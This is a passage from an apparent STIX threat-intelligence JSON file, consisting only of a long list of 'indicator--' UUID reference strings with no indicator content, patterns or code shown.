        "indicator--e531056e-1136-46a4-ae5a-8b4311461f25",
        "indicator--80437397-a471-4070-81ce-e6b6e843fced",
        "indicator--e9928183-1664-4bb3-9a40-830fdcf35dd4",
        "indicator--2faf9157-dc75-496d-8d42-00d317f41097",
        "indicator--5d6e3de9-5d1f-42cb-925a-feee33a28016",
        "indicator--52f5ad91-1106-4902-b148-49b08b04b2c7",
        "indicator--e73124de-8059-4a54-831f-ee39b23dd1f3",
        "indicator--0c0fc6c6-451c-40b4-bce9-a48685f239c2",
        "indicator--da2fd0ae-2ed1-479e-acef-2ee9e8565acf",
        "indicator--2bd1e826-391a-45e8-9f70-a5ee7bb21d44",
        "indicator--6f805858-9a27-489f-ac66-63ee28ebb1ff",
        "indicator--79aa27c1-f2fa-42d3-a836-889df131d72c",
        "indicator--69506307-0100-46e2-b35e-8578e76a2dab",
        "indicator--09a2c015-0a64-4bba-ad5e-b8d6a779a694",
        "indicator--07aef71d-65e4-4846-a4d5-487c833d0265",
        "indicator--3f23f7f7-dfc4-4416-b027-6e72a9a94421",
        "indicator--a040994d-5ff0-4308-a576-8d43a6699cef",
        "indicator--4fe3f129-40f4-4a02-8b18-c9bdaf75f32f",
        "indicator--cd5a2b30-0d28-444d-8dbd-2a9a736a3fe7",
        "indicator--dbc5a5af-ef38-4830-a92d-569a5fe678fb",
        "indicator--0c53a765-dd4c-4e06-ab8e-01c293edd44c",
        "indicator--d4a1be68-e4f2-48ea-8ac6-92556f961d58",
        "indicator--99a23a9c-41ce-4739-b231-d49fa8970e7b",
        "indicator--7c83ea06-f6cb-451e-bb44-a7519c11e01a",
        "indicator--27e317ab-5210-44ef-a722-843f1b8da34e",
        "indicator--e939115f-326d-4188-9ad7-5761bec3cecd",
        "indicator--eec6e386-391b-4c51-8dda-40858fc2df1b",
        "indicator--a1be6ae0-75e7-4cc7-9650-81800b8aed85",
        "indicator--9a77546a-7325-4287-aa8e-61ffee57deaf",
        "indicator--19a385e5-3c45-4519-8577-57ebfdfe6f23",
        "indicator--f720e690-2ea4-414d-800f-c6ca8cf06ed5",
        "indicator--2d9e3157-31cd-494e-b468-40b9398321d5",
        "indicator--0d934a2f-a804-4cad-826e-f0d53768e8a8",
        "indicator--abd8a0c3-0aa0-44a2-b5d8-2a7b79ad115b",
        "indicator--e8948c19-b990-4a53-a7f4-295e2943e779",
        "indicator--24620bc9-6553-4270-95a7-47fef37a38c7",
        "indicator--04cc3b2d-a656-4bf4-901f-dbb3d63c4982",
        "indicator--025acac8-9518-4cfd-90b4-4fb87cd7709a",
        "indicator--f867ea16-a83c-4624-a06c-908bab277ada",
        "indicator--c09a906c-fb25-4970-bc5b-4f05c4b74aa2",
        "indicator--437e51e2-a837-414a-a5fc-e6d5fa7d4ccd",
        "indicator--971bb667-e5e4-4851-8ad2-3ed58ac11194",
        "indicator--65f4b78f-597d-42e6-886d-b6368f06d00e",
        "indicator--2b49ec9c-c3a4-4620-8299-3cae81368f67",
        "indicator--b3980ca2-c6ba-4031-ad3a-0143662603c1",
        "indicator--85858b69-aa0a-42b8-8c74-59cca79e83d1",
        "indicator--7f31e88d-8edf-4ea9-bf3b-43d072ffa698",
        "indicator--1f2ec86d-2a36-4b71-8039-33daaf4da5eb",
        "indicator--bb7fc9a6-e69c-4609-a1b8-ff63e2a11d0a",
        "indicator--9c71295c-7fc4-4de5-8009-26fb27b3e2db",
        "indicator--7cd0b06f-cf6c-4de0-b779-2cae4636482b",
        "indicator--0cc610b9-b069-47e9-a2e4-cf49d86e7539",
        "indicator--e22e1385-76e4-45b0-ac1f-3ccebf3714f7",
        "indicator--c3111d76-cac0-4d67-b59e-cda0663a47da",
        "indicator--9b50c1fd-db78-4128-b3d8-1cc32771ce56",
        "indicator--8d48304b-04b0-42db-ab7c-98b4361a64d7",
        "indicator--6e46050e-e7ee-4732-84bf-d1d5986ea9b2",
        "indicator--75b1bb54-4743-4e19-82a1-fd7b45a08cdb",
        "indicator--e0d3f2e2-3338-43ae-aafe-a79f23e784dc",
        "indicator--8c7a3b32-f379-4abf-9a83-b94be34d21d7",
        "indicator--31271d75-576b-4525-8578-ac6aedf77f4b",
        "indicator--2906a7e9-b613-49ee-8f57-6c62e6e282d0",
        "indicator--4a23d7ae-9c39-43ad-a1b5-1dd584b5dbcf",
        "indicator--4573eb6d-4897-48a8-a88a-436106ee9a3b",
        "indicator--090e46a7-6e26-4431-b1e4-021d1291241c",
        "indicator--59a7e499-2498-481b-9c52-ba3014d0cd83",
        "indicator--59966426-89dd-4853-9985-17ffc0782415",
        "indicator--1a3e7d37-d536-4624-8679-dfad30ddb6a8",
        "indicator--59385267-fd08-41d4-ae75-74f327e950cc",
        "indicator--974bc4b6-8b8f-43d9-8128-ee3057d5338f",
        "indicator--cc5be50e-26f4-483e-bb50-32f2ebc6d405",
        "indicator--9835cf39-507a-43fa-aed9-b6476fc6f462",
        "indicator--31510173-f6dc-43c6-af7b-128cd9360c9b",
        "indicator--d8c66fdd-0f20-4046-8981-4632f771a72a",
        "indicator--c42825a3-4ddd-40e2-82c9-51616b136c56",
        "indicator--5176f7f2-2e68-4c83-9829-7f129dd0f661",
        "indicator--9334ab7c-0d92-48f3-aedc-95f324fcac8b",
        "indicator--510de65d-061a-48de-bf88-28ae44062d7f",
        "indicator--b48deca7-da76-4f8a-b5eb-f4fc55ab52b1",
        "indicator--54183a07-84f5-4447-9ffe-c9eef566ffb6",
        "indicator--5ddb96f9-07fe-4a64-90c6-3c66f97ce512",
        "indicator--4efc883e-a6fc-4626-839b-eb0ea5c033b3",
        "indicator--49696639-276e-44dd-ba45-b24616a9d591",
        "indicator--4978317f-d022-436e-a3f2-9cc530c8b9ce",
        "indicator--15cd177d-bb14-4f12-a90d-49d1574c7574",
        "indicator--3080a2ca-5060-4832-8583-c7d0a6204ed2",
        "indicator--2a63b1a5-002d-4a38-8924-9ab2e175f8b1",
        "indicator--763040bf-ce07-468c-9287-fec9289355d6",
        "indicator--d5ea3239-188b-451a-93ad-da039372f4b6",
        "indicator--1ab6efee-0726-41ae-83f7-136a8bc08216",
        "indicator--98feaade-7f7d-4894-ac81-badec972325a",
        "indicator--c4f0da9c-61dc-4272-b83e-99a1c558060d",
        "indicator--f6150077-32f3-496f-b6a3-871490f2c688",
        "indicator--61d829e9-180e-4237-b1f7-64fe54288807",
        "indicator--d83d6fc8-74c6-48f8-9dd1-dcb08b1b5408",
        "indicator--067a6e9e-9f53-43bd-8c63-2b8e757bd4ae",
        "indicator--b83d1d6d-a97f-4f52-ba07-e311a4950a80",
        "indicator--c8740515-a0eb-4b10-b1aa-93b42b53d87c",
        "indicator--f8f3e1b7-88a1-4adf-a1af-224027e479b2",
        "indicator--8c872dfb-d0ab-47d6-bfa9-36b228ffccad",
        "indicator--5a384614-f4dc-410b-8319-23f18c9c04a6",
        "indicator--447f26d8-f48a-4f5a-98a8-4faddd6e8673",
        "indicator--23f4b14a-12f5-48ea-89de-486faf2a79f4",
        "indicator--39e421bb-810a-4a63-8f25-2f3781aaa129",
        "indicator--1bd2a3cd-e9c3-4636-a7db-9aac4c2230a3",
        "indicator--b9d6c79f-5878-4a43-a2e3-4a8156288911",
        "indicator--a900f817-5423-47e4-9c34-5b5a248b6db2",
        "indicator--8fc170d7-9db5-4bd0-9d79-4447b68bf8af",
        "indicator--86188385-140c-42e7-ba1f-1d904608a609",
        "indicator--7234d23b-937a-49ae-b458-23b9f11089d3",
        "indicator--967787cc-2124-45a7-bc50-b3567d903626",
        "indicator--8eca6070-322e-42ad-b922-bd87b540c35f",
        "indicator--2dd67401-0534-46a5-ac56-391be32b4a56",
        "indicator--61d6c63e-7d63-483c-b983-256073faff4a",
        "indicator--2b1af3fa-9983-4ed5-bb63-3554f705421f",
        "indicator--c8fabf72-8657-4458-be5b-ff13c6e85731",
        "indicator--1ae3be8b-4d79-4c9b-97c9-677386dcede8",
        "indicator--cd49a4f7-df0a-47a9-be86-811b287f340b",
        "indicator--c68bd58b-5968-4698-bb96-2e817d00eeb8",
        "indicator--278d8cca-c6c4-4771-ac8e-ee050e618953",
        "indicator--e8de738b-b01e-4946-9702-3e4ebae11829",
        "indicator--4c26cce4-acdc-46e8-be09-6ba6844f71db",
        "indicator--ac038e2e-efca-45cd-83af-e8c0482dabda",
        "indicator--8dd4105b-063b-4ab9-92cf-abd1b72081a5",
        "indicator--4f2a648a-45ab-47fc-bd2e-9fc660fb1148",
        "indicator--6ddde3f9-0646-40ce-8c56-eeeb55902223",
        "indicator--49ade40a-b1f4-438c-add5-3ab5aab1cdd3",
        "indicator--5d51cea9-4218-480a-8a41-4e2cbdf6c78e",
        "indicator--1e7ebe6f-34a4-46b9-b43f-8915209097e8",
        "indicator--15a4c541-565b-46c5-a7bf-f9d915091059",
        "indicator--8a33651e-0c69-45ed-b832-865e466b04ec",
        "indicator--230ddce6-e297-4f75-94e1-5bcc938b5ec0",
        "indicator--a8239f89-97b8-4f31-85f6-951c461432a2",
        "indicator--73cbc377-ba7d-4c82-a9db-ffaff8513b6d",
        "indicator--96fa42ec-452c-408e-afe0-60576622e7a6",
        "indicator--02309e59-116c-46fb-a619-79c4dee9993f",
        "indicator--e65eaf36-50a9-4109-b105-9c5732b5e4ee",
        "indicator--1c8059eb-375a-4208-b1e0-ea02fb2a4b53",
        "indicator--0c3c36bf-49bb-4614-8f09-d0347a0a7742",
        "indicator--2d53dfd1-4561-4983-af5d-424d705e2eb2",
        "indicator--d2455a8b-c9b6-4a83-8983-a0cfb75029bc",
        "indicator--7c14e24c-c822-40a2-99fa-065bcae6c8f8",
        "indicator--6f0ac8a4-a85e-4c8d-b35f-a6742b158dfd",
        "indicator--b6e09784-69b2-442b-87f7-ba60f5c17293",
        "indicator--f85fec34-6061-4bcd-a88e-aaac9af7bc69",
        "indicator--da385fd8-24ba-4f08-95d7-761e6b9646ae",
        "indicator--11a0fa3f-a3ce-493a-bb62-aa22804f24d1",
        "indicator--2874cc91-1bf5-4829-a5ea-68e2fb0c7e97",
        "indicator--f5bbb0a7-849d-4be0-a636-d9a37cdb0001",
        "indicator--878e0e21-288a-4777-9325-15761866183c",
        "indicator--4e4aaa2d-5cfd-42ad-a9ee-c972baf4d64c",
        "indicator--83cc5f4e-5361-4b80-85ca-4c4c0a206808",
        "indicator--f4e244ce-8d18-4189-9aa4-afb7fdda54e2",
        "indicator--3eb4e3e2-6a32-45c2-9bad-ca28ab16f582",
        "indicator--2bc8e0ef-cd3c-48ea-9ba3-1347fc26733f",
        "indicator--6b4706ce-505d-417e-8264-5fc1cc2abafa",
        "indicator--baa272ae-9afa-4e97-9235-e41232300883",
        "indicator--aa9f8168-d9fd-436a-bd45-4d6caa93411d",
        "indicator--8ac76e8e-5a29-453f-b56b-68c48bb6f976",
        "indicator--5d707458-a8e9-4a30-9d06-770df9a2b8c4",
        "indicator--44af38c3-3566-4fba-945f-0d305f30f2fd",
        "indicator--3dd2800a-7803-403a-befd-7e7211699c41",
        "indicator--698e4d60-baae-46df-b9fe-fdd03492c27a",
        "indicator--4ba16c37-b12f-4cfa-a807-a1a1798c8154",
        "indicator--a8c450c8-5277-40a3-9c5e-bb95de5e2e32",
        "indicator--91939d0d-501d-4e60-9550-8d52f389267e",
        "indicator--57d24e1a-7c65-45c2-a11d-caed97b8e09d",
        "indicator--81c95f9a-982c-430c-ba3d-76bbc5ac2106",
        "indicator--c539abe4-5e24-4809-8442-223b771cdb0d",
        "indicator--1c8c022b-a1aa-4456-a272-614576784f47",
        "indicator--4b06baba-3aa2-467d-ba05-4cabb60d5d10",
        "indicator--d2346f83-6f8f-45b8-b980-51baa964be84",
        "indicator--a1215978-bd28-4704-9dd0-08611778f4bb",
        "indicator--4ef45cf9-8d5c-4d66-a566-939f8815a309",
        "indicator--f748539d-e445-41c0-8955-76f5a3b4c876",
        "indicator--995da414-c384-4901-9cf0-307c98f54600",
        "indicator--22df51cc-0773-4a7d-b08b-c55cbcc4cfd5",
        "indicator--cf456129-f016-4b51-aaff-d3f897f85f02",
        "indicator--dfe65d66-498b-4b9c-86af-dd093ad5d4e4",
        "indicator--3a91192c-649b-462e-a335-07feb61c5d58",
        "indicator--67ce2655-f1a7-4b16-b08d-b6724b8ebed0",
        "indicator--ecab18df-4af7-4285-a540-e701d5fdf196",
        "indicator--61b441d1-3cca-4b7a-9f9c-920aeeeb3f81",
        "indicator--d482f643-aeef-4cdb-94cb-85ebb57f56a1",
        "indicator--9e9cd0c3-78a5-42b5-aa17-4d6e70cb83c0",
        "indicator--5d0ff20d-e80f-46df-ad97-54718799d9dd",
        "indicator--25816f52-cb77-4697-9d37-5f722b216940",
        "indicator--5b1f7cb8-37f0-470b-8d9f-8e7a702a2f13",
        "indicator--a6eed266-98c7-4e8b-91e2-219381799e5e",
        "indicator--6e95ab73-fdcc-43e7-87ed-d706cb084223",
        "indicator--3048cdd7-ccfb-4d29-bbc1-a09bffd52727",
        "indicator--b7a73cf4-f525-4e2d-80bd-ced421a0c331",
        "indicator--2a7e6953-10cb-489d-b6fb-0d09fbfed377",
        "indicator--e14e4165-cda8-44dd-9bad-e3a746e33740",
        "indicator--9dd32f73-09d6-41ea-be7c-17e373e90f87",
        "indicator--306cc263-0742-48b5-b0b7-32536f0f85af",
        "indicator--3ed84a5d-239c-4c79-b023-28ad3b36678e",
        "indicator--26fb39b5-6aa4-46f7-a539-e5d2a8a2bc1e",
        "indicator--d0c3f54a-d7c4-4ae2-9794-774ea4ed57f0",
        "indicator--d2ec8dda-839a-4f62-aff3-e9e3f56ca5b2",
        "indicator--3caac48f-1e6b-41f9-8b9e-57afdd192a0b",
        "indicator--05ddb40e-d2af-4621-bb55-3317b1436a5f",
        "indicator--dca1de28-8179-4480-9236-574d0f67a7bd",
        "indicator--39cacbca-2bb3-4db7-9253-0d73fe626820",
        "indicator--92ec77d7-4bd5-4bf9-b56c-9bb3d014337a",
        "indicator--07b1b17b-0324-4fc3-aa6a-7e4e68089089",
        "indicator--a3a98bd0-f1d7-4fdb-89f1-b7a0e01a3dbc",
        "indicator--f004f393-33cd-499d-8687-1153eef26f30",
        "indicator--56f2c538-acb3-46ec-9183-fdbe6afbb31d",
        "indicator--2d37ce5b-90c3-4516-b2fe-ed27deb9acc3",
        "indicator--056fdb89-b67f-4ac8-9d45-9f82c727f2fc",
        "indicator--eb27507f-ea96-4c57-bcf3-e0b8f5648f33",
        "indicator--17ae42a3-4286-48fe-9ba9-c061676b04d9",
        "indicator--45a62bb2-da23-45bd-883f-dea8ef196c51",
        "indicator--97f88de9-fbee-43b2-9d32-45f5d134b132",
        "indicator--2663a29c-bd3b-43f1-818a-4e4e816db8c9",
        "indicator--3be988e2-cd77-4bd7-8d5d-d13ac6126ac6",
        "indicator--669b61c9-62d6-4382-b83d-a59d9b42b965",
        "indicator--34c9d3a6-e889-4dd1-9680-799d5ce94e7b",
        "indicator--636847fe-a50b-4943-ac58-ffde49c6715a",
        "indicator--d0490135-f11d-4ecb-ae0d-a6d193894cd9",
        "indicator--f7727671-6391-4816-824e-4fc76271ea00",
        "indicator--557b7188-fa5f-41cb-a429-fcc16d92c593",
        "indicator--a1317943-9160-4a38-81af-c06de934f561",
        "indicator--e34526fa-3820-4882-b2bc-b6c54eccc045",
        "indicator--2c4078d4-a8b8-4cee-b1f9-a2e0d0238e3f",
        "indicator--4afc1b4c-ffb6-4523-a50e-e1671beb7771",
        "indicator--a3e896ce-231f-47c5-9814-643979b06f9d",
        "indicator--496f9dab-99b8-4cf0-9954-0110da278cae",
        "indicator--e71ecc1c-39e4-4166-b0c3-7b1bba26377a",
        "indicator--73c0aba3-13d4-4136-a16c-72e657b4670c",
        "indicator--3181ea1b-fa17-4c48-84c8-f9e3eaf17516",
        "indicator--9ba54654-c591-41c5-9777-ef0f2e0db269",
        "indicator--37569480-fab0-4fcf-8fbe-485ceb1b2bae",
        "indicator--5b50728f-cfb4-4067-afb9-79184440d209",
        "indicator--3692aedf-f528-4d26-950e-49a93eddb25e",
        "indicator--e2ba8f30-f13b-4940-b3a2-0cf720448d2a",
        "indicator--d5b886b9-cf2e-4850-99a8-f114b5e992f8",
        "indicator--e2b9dd4b-e4a2-4ba3-8de4-103b06cd598d",
        "indicator--527b5781-bc29-4773-9e96-dd7dd75195a6",
        "indicator--60bee1b3-2016-4796-b7fe-95ec0d7ed897",
        "indicator--54da3b06-ba1d-453e-9f8b-e90857c8ff8e",
        "indicator--34fbb84a-5558-4c87-b794-23f7a7cbe924",
        "indicator--a68cbae5-f2b7-4c7f-81f0-47cb4f469b2a",
        "indicator--bbb8d427-b33a-4936-bcb4-569ed27cc2be",
        "indicator--76e0f985-02d5-4080-b9d3-4927694c7a21",
        "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
        "indicator--80dbb42d-7e1e-4572-953a-9aefe47b51cb",
        "indicator--22a8d227-98b8-430c-8ef9-f94ea76680e3",
        "indicator--2482b02f-a549-4b76-a550-87a44d05fb5d",
        "indicator--15c31eaa-688e-4115-a8cc-d517157825c6",
        "indicator--1cd6b145-256c-4c9d-a0d7-0230fcffb979",
        "indicator--420c0532-f1bd-4055-b4c1-2a7712433454",
        "indicator--8d39a015-f6ea-4b1b-a275-4054bbbb1c0d",
        "indicator--7eb225bd-2f91-4e2c-a86f-49ff6fa64a54",
        "indicator--ed92e711-73f7-4b76-85ad-7820df71f32a",
        "indicator--3735c4f1-0c54-4506-83cf-59b28f7372bf",
        "indicator--73503b26-c49b-4461-878c-d98697dbd753",
        "indicator--5f3e6b80-b39b-4d18-8e11-e63a6a4a1c5e",
        "indicator--683831cb-6550-43e8-b55d-43f0fb7101f1",
        "indicator--2259f2aa-515f-4094-b78a-dd29a874ba81",
        "indicator--76c30f92-d1ef-4802-963d-d4877954a247",
        "indicator--61ac9b91-2b81-4249-8eb2-03167dad236e",
        "indicator--de845fa0-f48d-44bd-8858-cdd22a516ff6",
        "indicator--b8cf2cd4-940b-469e-8544-7b1db4bb9d43",
        "indicator--582a98d4-7037-4163-8338-17e28f4fa420",
        "indicator--cdea36e3-ba94-4cb6-937f-844473f98613",
        "indicator--272e93d4-a93c-484c-80c2-3cba71d903ce",
        "indicator--377583fe-8ec1-4d20-ae7f-38f80e0ab23f",
        "indicator--9f00e13c-3f83-4c7f-8421-f82a33f02464",
        "indicator--f975c51f-f39d-4644-9be9-df1f3f0c5582",
        "indicator--758c9683-787e-4bee-a617-45ee3f879bea",
        "indicator--1134fcba-f42d-4420-b060-473e2b7cbc12",
        "indicator--0c8131c4-f37d-42ed-8327-ba3b65eadbef",
        "indicator--dee185cb-1ba3-4e6f-b7c6-f79ba4772131",
        "indicator--cdec8519-f1a3-4f29-b4d3-3264b5f1998f",
        "indicator--394dce79-7dc2-41dd-9353-84d470fda7b6",
        "indicator--05670ad7-f5c5-4572-a066-7411f6e14c8e",
        "indicator--264f258c-8eb2-40a4-882e-7d7f39dc0b73",
        "indicator--549fa9b2-702f-48d5-8617-6ab0c8843d97",
        "indicator--13f3e344-4bcc-4096-bad6-efddabf02367",
        "indicator--71782c58-fa62-49c3-98d0-711e365dd4a1",
        "indicator--c0421b27-42f9-44bb-b182-294daff870ed",
        "indicator--99e95c12-a137-442a-a5b6-37d990d2cbee",
        "indicator--c097c10b-bcfe-4592-9267-dbb02007dfe3",
        "indicator--23071f31-b805-4e77-9e08-0433e44e4bba",
        "indicator--ab87ea2d-5dc3-4490-b687-2f6cc9e7b2aa",
        "indicator--ca8e1e14-e2ad-4cdf-bf0b-af880a7dafcc",
        "indicator--89168a53-b6c3-4926-8f5d-075a1bff56b8",
        "indicator--82449522-52be-42df-9c71-816fd1339f5a",
        "indicator--6d76289d-e1d5-45ef-b009-278974b61ad9",
        "indicator--1e7f464f-101b-4731-a156-0153a5ebf1e7",
        "indicator--40639d90-7c46-40c6-991c-5684c2b1b94a",
        "indicator--2e92cda2-aa38-4d03-99ff-2f140119ac06",
        "indicator--7eeefd61-cb2d-4f8e-8ecf-9b8a983a8917",
        "indicator--8594d776-58ad-4200-9afa-369d2e5763e9",
        "indicator--561a7ccd-d1b6-42e9-a277-3c49596a02b8",
        "indicator--96d1ba76-6dfe-4018-9802-fa91574470a8",
        "indicator--ef07e150-367f-4649-a2d6-31fa59e8893e",
        "indicator--56d99853-b61b-4866-9587-de85949c3637",
        "indicator--03178e89-b27b-4364-a098-16a09962bf7e",
        "indicator--e32a66d7-68f2-4f3d-b09c-f5b70783b912",
        "indicator--2723f3e6-5bc9-499a-920a-eab8a9ee8ccb",
        "indicator--5abc6d60-cbdf-4f0b-b6d9-7a934397ee23",
        "indicator--13726fe2-78b5-4023-aaf4-9ba2f750891a",
        "indicator--198cf6a3-5e72-4c5a-928f-e19cb0f397ba",
        "indicator--417d56dd-fc0f-48a6-9720-42ca32c186d0",
        "indicator--e7df64d0-d8fc-41b1-b917-c83fd5bb71ef",
        "indicator--d1aa673c-cf26-483c-9b3e-a0b8b1838b72",
        "indicator--84b66f84-e46a-4fcd-8ef1-2e2fea12bfbc",
        "indicator--b40c0293-df19-48d3-82d3-33c6364e3aa5",
        "indicator--c8980ca4-d3e1-49d9-ba12-41accc9d05da",
        "indicator--4a08a3d0-3e33-40c4-b2c1-cf1cdf030d63",
        "indicator--b4917758-d383-44b8-a4a0-4497124cd26f",
        "indicator--1d4d9506-5b80-4513-84fe-9bb65a55280d",
        "indicator--c2d9ca03-9cf0-41c0-b039-940e81ae4fd9",
        "indicator--d8442b9f-ae00-44a9-b774-ea4c82ddcfe4",
        "indicator--ce235383-3c3e-4190-804a-aa836330b1b9",
        "indicator--0569e2e0-f961-4c7a-98d1-1af8a2e1d57c",
        "indicator--0101ef7a-a587-4ffd-8b63-049cea7b4a7a",
        "indicator--8fa1d85a-6659-41c9-8780-8b65832bdb79",
        "indicator--103c3f40-73cd-4efe-bc28-092c0db41700",
        "indicator--d13e1587-dc43-43c2-9934-49597db44fef",
        "indicator--7a1bf79f-4df2-4875-b812-952e37b39d61",
        "indicator--cfcc353f-c100-4516-9871-495c8dbbb69c",
        "indicator--f684c532-be1b-4d77-9a82-91ab398b813f",
        "indicator--6190f3d1-0ad5-4f65-b538-794b542087d2",
        "indicator--b076ddec-0fb2-4926-93c2-584d46b366a7",
        "indicator--7a3e261b-ec71-4751-b3e5-fcfc11a3b518",
        "indicator--22445c92-3c5d-4ba5-bd2e-111fa80cf13a",
        "indicator--c22d7b44-123c-4b09-807b-661029dcfab8",
        "indicator--562aabdf-6d0c-4843-867a-35fca7f60d92",
        "indicator--91d4d49e-f3a5-4f1c-becc-99b43917bb92",
        "indicator--478205db-a0da-4410-9c1e-fd187779b5e4",
        "indicator--c01e98ba-39eb-435b-8dd9-974abc6d2fa3",
        "indicator--dcce7845-59a0-4df3-8372-74ffe998678e",
        "indicator--e38fc9dd-6941-48d6-af6e-b269152c5dfe",
        "indicator--7bf085b8-db20-4b0b-a580-62665df68f8b",
        "indicator--2b11effe-e251-4f68-a594-220f653d4961",
        "indicator--a485e21a-9651-4023-90c8-66719c0f86df",
        "indicator--bd3d8cb6-8ae7-479c-906a-88e42919091c",
        "indicator--21041644-d7f4-4b14-a38a-c779720f1279",
        "indicator--2445e653-0dac-4704-b3c9-976366cc4a31",
        "indicator--ddd46ff4-6bfb-497b-87fd-f8f24c26bf52",
        "indicator--836f9037-0762-413b-a324-406757ec1c15",
        "indicator--e7f36e97-48bc-40c8-89d2-3da4030ac345",
        "indicator--db006c74-222d-4a36-a235-df96ea5467a4",
        "indicator--52fcc319-524a-4592-999d-88a6f6af7adc",
        "indicator--197c3bf4-4b88-4b53-87ec-7507d6e2819b",
        "indicator--182101ae-bcd1-46f1-b66b-9970776208d0",
        "indicator--47e581cc-9ce6-49a3-844b-2e376930a655",
        "indicator--d21fef92-b1eb-4699-8045-3f7adc879116",
        "indicator--22a6ff63-3531-403c-a5c0-6b200aa5b4db",
        "indicator--138b3601-07da-4ca5-b3ca-562383572ebf",
        "indicator--1a77480a-12f2-4d04-92b6-69043fdd2ccc",
        "indicator--50a75661-f7ea-4983-9fec-6c512805a7bc",
        "indicator--4b6cc609-cdd6-4741-a5a5-fd674fa7cf39",
        "indicator--0907c94c-5105-47dc-a076-7c2324486784",
        "indicator--a4d2f6ac-7011-4c6e-8293-0843c9bd5b0d",
        "indicator--51bec87c-17c1-46b4-a701-1c45f6bc91dc",
        "indicator--0a763c80-7b87-401b-8494-2e9e75530231",
        "indicator--7ee49255-dd72-4d64-9ca0-81b255a99fe9",
        "indicator--6a015524-d65c-4c1c-ab3d-c0cf1e6202b9",
        "indicator--94554053-f6a9-46e2-af34-43c3da8ff84c",
        "indicator--9ecde555-e4cc-4fe4-8256-f63a2be9881f",
        "indicator--3b98f0dd-30a6-4131-a6f7-d99a9f67a8fd",
        "indicator--371c21c1-eb04-45d8-8847-b2e71da35f08",
        "indicator--27299497-3465-4d9f-b5be-80557585ab1c",
        "indicator--5df72dfc-d393-4e21-87de-295fd42a21b2",
        "indicator--5b3cd51f-6f25-4026-a3f6-87ec4e39a58d",
        "indicator--5cd7278c-b242-46d5-8d76-63354cc841d1",
        "indicator--977a982e-5236-4ea0-80af-6576edfc4838",
        "indicator--dd43f1b8-0872-4941-87f0-b0095f1c48b8",
        "indicator--acb0c33b-a298-4510-810b-f0b4fca45323",
        "indicator--79db7ecb-42a2-4022-94a8-1ac44d7e9de1",
        "indicator--262664e4-2d19-4164-8626-97fa8af55489",
        "indicator--e5e78607-921e-4599-a23d-1990d8895273",
        "indicator--78f74d06-065e-41ff-a65a-b0a59282a217",
        "indicator--3fcba79d-7390-41a3-9836-19b40bcb5068",
        "indicator--5c04682e-c76f-4538-8fad-5c35e1f181e7",
        "indicator--40c24f13-5d8d-4a11-8421-86c7edabccfb",
        "indicator--0e7986c6-9b80-4a84-83c2-291721114045",
        "indicator--c0a9c9a5-e493-41ce-92bd-673a4fb5f28b",
        "indicator--8f1dc8e4-cc52-4b44-8eef-6478a606639e",
        "indicator--f69af1a4-3a9f-4c7c-b987-cbc4e894f58a",
        "indicator--f0a13016-32c9-4af7-aa3f-bf593a6fe92a",
        "indicator--e24e2638-8269-42de-98a7-a04f4946e3bc",
        "indicator--6a75ba82-db88-4593-9570-045aa3aa6467",
        "indicator--53cf7b94-e46e-4b65-8d46-8ffcb7dacdf7",
        "indicator--1a112c25-8a28-4402-ae11-dfee03f2fba0",
        "indicator--f1b9b742-d18d-41d4-81a4-380d26cc1986",
        "indicator--3e9c3e17-e322-4b18-8d47-25723e044447",
        "indicator--b28403d3-1d3f-43cd-a1f6-c763c559c1de",
        "indicator--b6e81baf-4567-408a-b232-0619ca244d66",
        "indicator--17e37417-fbf6-456e-8947-e482f866480e",
        "indicator--3352df6e-4df8-4c88-aeb3-d5846ba77d54",
        "indicator--feac0f7a-f928-40d4-9516-46bdd7e782e4",
        "indicator--dfdc5035-031f-4d47-8abd-7d1310e3e0bc",
        "indicator--ba9da982-7246-4e66-9fff-f15fcc109090",
        "indicator--f3b8a21a-300f-4f67-adc6-b0d57b929fae",
        "indicator--1686a219-2e82-4b09-b313-3fb121fbbe9d",
        "indicator--dad0579f-d126-4f8a-8a77-3242ad547269",
        "indicator--81a2e86f-8f6c-4c56-907d-152bf6abf080",
        "indicator--6b004a43-c2f3-457e-91c4-50d66998f0eb",
        "indicator--82051612-33e5-45bd-b65b-8aafec78a4a7",
        "indicator--b4878349-1fc0-4886-889a-cf1a5b362a61",
        "indicator--2790e023-7af1-412b-a506-a1191bade788",
        "indicator--f5917e4d-d382-4cb3-8db7-c79676ca88b6",
        "indicator--60feea47-a94c-45ab-9415-613489130a77",
        "indicator--360536a3-b7a4-415f-9ca1-292bb29bf73e",
        "indicator--c0835e7c-fc33-4ab5-894f-299f59e1d4bc",
        "indicator--0bd989d8-6bed-4e48-8382-3f129a7b276b",
        "indicator--873bf137-3bff-4dd6-900d-9d6631d681ec",
        "indicator--c43585dc-d446-481c-bb2c-2a57c81dd43a",
        "indicator--0b4599f0-7b33-4177-9e82-3e91d3d0a4fd",
        "indicator--e2cbd789-ecc3-423f-8b27-9f04b5264f86",
        "indicator--97c9259f-36cc-46ce-8f6b-5b454c67d713",
        "indicator--8f2c1bbc-37f1-4028-95f3-dab2a666d9b5",
        "indicator--7025afa6-2069-4bc8-b265-0f53bb65db2d",
        "indicator--dd4b06c7-95a8-4262-b324-05a3b6b79274",
        "indicator--da26e4d1-0416-41c2-9f13-69f407584e00",
        "indicator--36bdc5a9-98d6-4fdd-8dd1-8701f59cf72a",
        "indicator--a58a24fd-ee60-4576-b7cf-26013ee8a38b",
        "indicator--9838652a-9083-4737-b500-9d2c738b3b3d",
        "indicator--af0616d6-e212-4414-8506-38f97fd1d820",
        "indicator--fdf83d90-87d0-4e50-baac-310df4c7b0a2",
        "indicator--6e72f6b9-ff8b-440b-89ae-8059b7caf90e",
        "indicator--d5251a9c-5f78-4033-ae69-5a0599995e72",
        "indicator--ef41372a-ec76-4156-b409-04d146b768e4",
        "indicator--3a3bb255-d994-496b-a281-05c6fdb2acb6",
        "indicator--d7b82f0e-2674-4320-97af-e0174ee8e4f2",
        "indicator--26ddd564-f095-4856-ad9e-bed75283d05f",
        "indicator--a9ae350a-ec2e-4c9a-b136-ac4dbae1d7bc",
        "indicator--632412f3-dbec-420d-9b53-5c7fe4e1b874",
        "indicator--0524eda4-6272-4941-b314-b5b3a313f2bc",
        "indicator--f9dac27d-f8e3-43f4-9ebe-160e2bf63f5e",
        "indicator--bd09f85c-c46b-4b48-9eac-4f6063e24b43",
        "indicator--0bf5c316-2b72-4a86-ab66-947ac583c9f6",
        "indicator--84c9387f-1cd0-48f5-b2a0-6ee92df68323",
        "indicator--a5bc70b8-c195-4d38-a56a-cd32218dffb3",
